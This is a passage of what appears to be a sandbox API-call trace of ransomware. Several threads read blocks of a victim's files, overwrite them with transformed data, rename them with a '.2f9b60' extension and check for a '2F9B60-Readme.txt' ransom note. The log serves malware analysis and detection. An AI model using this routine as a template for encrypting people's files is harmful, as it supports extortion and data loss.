_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6.2f9b60" [0103.847] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6.2f9b60", NtPathName=0x2f64f6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8d215ff1119c6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x20501740 [0104.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501740) returned 1 [0104.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057d20) returned 1 [0104.420] NtQueryInformationFile (in: FileHandle=0x1758, IoStatusBlock=0x2f64f738, FileInformation=0x2f64f748, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f64f738, FileInformation=0x2f64f748) returned 0x0 [0104.420] NtSetInformationFile (FileHandle=0x1758, IoStatusBlock=0x2f64f738, FileInformation=0x2f64f748, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a2f0) returned 1 [0104.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503c90) returned 1 [0104.425] FlushFileBuffers (hFile=0x1758) returned 1 [0104.430] CloseHandle (hObject=0x1758) returned 1 [0104.431] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85c060 [0104.431] wcscpy (in: _Dest=0x1b85c060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.431] wcscat (in: _Dest=0x1b85c060, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.431] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c060) returned 1 [0104.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79de70) returned 1 Thread: id = 941 os_tid = 0x155c [0101.237] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIBDAYtK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pibdaytk.gif")) returned 0x2020 [0101.237] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIBDAYtK.gif", dwFileAttributes=0x20) returned 1 [0103.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIBDAYtK.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pibdaytk.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1764 [0103.271] GetFileSizeEx (in: hFile=0x1764, lpFileSize=0x2f4bfe00 | out: lpFileSize=0x2f4bfe00*=49130) returned 1 [0103.271] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0xbfe6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.271] ReadFile (in: hFile=0x1764, lpBuffer=0x2f4bfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f4bfdc8, lpOverlapped=0x0 | out: lpBuffer=0x2f4bfd80*, lpNumberOfBytesRead=0x2f4bfdc8*=0x4, lpOverlapped=0x0) returned 1 [0103.272] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0103.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0103.272] NtQuerySystemTime (in: CurrentTime=0x2f4bfcc0 | out: CurrentTime=0x2f4bfcc0*=132462177087862000) returned 0x0 [0103.272] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x4767cb36 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x582f55e2 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x78ca3ca6 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x598495d [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x38a6aae1 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x69c43552 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x17e857a4 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x52715e26 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x56119135 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x70f9a9c1 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x356aa6f6 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x7fb4787e [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x26381858 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x2f2252e3 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x1bb9280a [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x4374c19f [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x3e804270 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x7e65e604 [0103.273] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x6b76d3fe [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0xd497c3e [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x1bd2c718 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x3de83506 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x78c08a36 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x2ee3b39c [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x67738a4 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x538a7b67 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x220f129 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0xe721022 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x77b800e3 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x10343ff1 [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x52fef21b [0103.274] RtlRandomEx (in: Seed=0x2f4bfcb0 | out: Seed=0x2f4bfcb0) returned 0x6c9feeb5 [0103.286] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.286] ReadFile (in: hFile=0x1764, lpBuffer=0x41f2a520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f4bfd20, lpOverlapped=0x0 | out: lpBuffer=0x41f2a520*, lpNumberOfBytesRead=0x2f4bfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.286] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262c30) returned 1 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f2e130 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0103.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261580 [0103.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261580) returned 1 [0103.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0103.309] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0103.309] WriteFile (in: hFile=0x1764, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f4bfd20, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2f4bfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0103.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0103.450] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2a520) returned 1 [0103.450] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85b0b0 [0103.451] SetFilePointerEx (in: hFile=0x1764, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.451] WriteFile (in: hFile=0x1764, lpBuffer=0x4205a530*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f4bfdd0, lpOverlapped=0x0 | out: lpBuffer=0x4205a530*, lpNumberOfBytesWritten=0x2f4bfdd0*=0x10a, lpOverlapped=0x0) returned 1 [0103.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0103.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d10 [0103.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a930 [0103.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a930) returned 1 [0103.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0103.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a930 [0103.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0103.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0103.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d10) returned 1 [0103.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0103.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0103.860] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="71") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="16") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="10") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="1b") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="a0") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="45") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="03") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="1e") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="7f") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="01") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="ce") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="ea") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="1f") returned 2 [0103.860] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="8c") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="e2") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="c7") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="09") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="39") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5c") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="28") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="48") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="d4") returned 2 [0103.861] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="3e") returned 2 [0103.861] RtlInitAnsiString (in: DestinationString=0x2f4bfe48, SourceString="7116101ba0455c031e7f01ceea1f8ce2c709395c2848d43e" | out: DestinationString="7116101ba0455c031e7f01ceea1f8ce2c709395c2848d43e") [0103.861] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f4bfe18, SourceString="7116101ba0455c031e7f01ceea1f8ce2c709395c2848d43e", AllocateDestinationString=1 | out: DestinationString="7116101ba0455c031e7f01ceea1f8ce2c709395c2848d43e") returned 0x0 [0103.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5da0 [0103.861] wcscat (in: _Dest=0x1b85c060, _Source="7116101ba045" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045" [0103.861] wcscat (in: _Dest=0x1b85c060, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045.2f9b60" [0103.861] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045.2f9b60", NtPathName=0x2f4bfdf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7116101ba045.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x205017f0 [0104.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205017f0) returned 1 [0104.423] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420562e0) returned 1 [0104.423] NtQueryInformationFile (in: FileHandle=0x1764, IoStatusBlock=0x2f4bfe58, FileInformation=0x2f4bfe68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f4bfe58, FileInformation=0x2f4bfe68) returned 0x0 [0104.423] NtSetInformationFile (FileHandle=0x1764, IoStatusBlock=0x2f4bfe58, FileInformation=0x2f4bfe68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c060) returned 1 [0104.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5da0) returned 1 [0104.429] FlushFileBuffers (hFile=0x1764) returned 1 [0104.433] CloseHandle (hObject=0x1764) returned 1 [0104.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a650 [0104.435] wcscpy (in: _Dest=0x2050a650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0104.435] wcscat (in: _Dest=0x2050a650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0104.435] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0104.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a650) returned 1 [0104.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8682c0) returned 1 Thread: id = 942 os_tid = 0x1560 [0101.238] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pitagk8mclkbd-.docx")) returned 0x2020 [0101.238] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx", dwFileAttributes=0x20) returned 1 [0103.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pitagk8mclkbd-.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1790 [0103.563] GetFileSizeEx (in: hFile=0x1790, lpFileSize=0x2f70f880 | out: lpFileSize=0x2f70f880*=81298) returned 1 [0103.563] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x13d8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.563] ReadFile (in: hFile=0x1790, lpBuffer=0x2f70f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f70f848, lpOverlapped=0x0 | out: lpBuffer=0x2f70f800*, lpNumberOfBytesRead=0x2f70f848*=0x4, lpOverlapped=0x0) returned 1 [0103.563] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0103.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0103.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e10 [0103.564] NtQuerySystemTime (in: CurrentTime=0x2f70f740 | out: CurrentTime=0x2f70f740*=132462177090670000) returned 0x0 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x3a703c5d [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x67b681f2 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x5eb66c41 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x2baca565 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x61cf5edc [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x478c0e4d [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x47e0da96 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0xab6fe7c [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x4680c45d [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x3c3237e5 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x168f4c2f [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x12f7760d [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x5e60bac1 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x5a8564fe [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x1159e128 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x586f357a [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x6cea7db4 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x4681583e [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x511aed7f [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x5e0b0941 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x300db365 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x6a3673bb [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x26149985 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x83d6902 [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x532a18e [0103.564] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x4680c45d [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x7230a12d [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x1a2ae546 [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0xd5c6fb1 [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x41fff809 [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0x7284941a [0103.565] RtlRandomEx (in: Seed=0x2f70f730 | out: Seed=0x2f70f730) returned 0xae7cb5e [0103.572] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.572] ReadFile (in: hFile=0x1790, lpBuffer=0x41f39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesRead=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.573] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0103.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503910 [0103.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0103.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b740) returned 1 [0103.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f3d170 [0103.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0103.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0103.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f9d0) returned 1 [0103.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0103.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0103.574] WriteFile (in: hFile=0x1790, lpBuffer=0x41f3d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesWritten=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0104.052] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.052] ReadFile (in: hFile=0x1790, lpBuffer=0x41f39560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesRead=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.053] SetFilePointerEx (in: hFile=0x1790, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0104.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0104.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0104.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202623f0) returned 1 [0104.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f3d170 [0104.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202623f0 [0104.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0104.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262000) returned 1 [0104.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0104.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0104.054] WriteFile (in: hFile=0x1790, lpBuffer=0x41f3d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2f70f7a0, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesWritten=0x2f70f7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0104.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 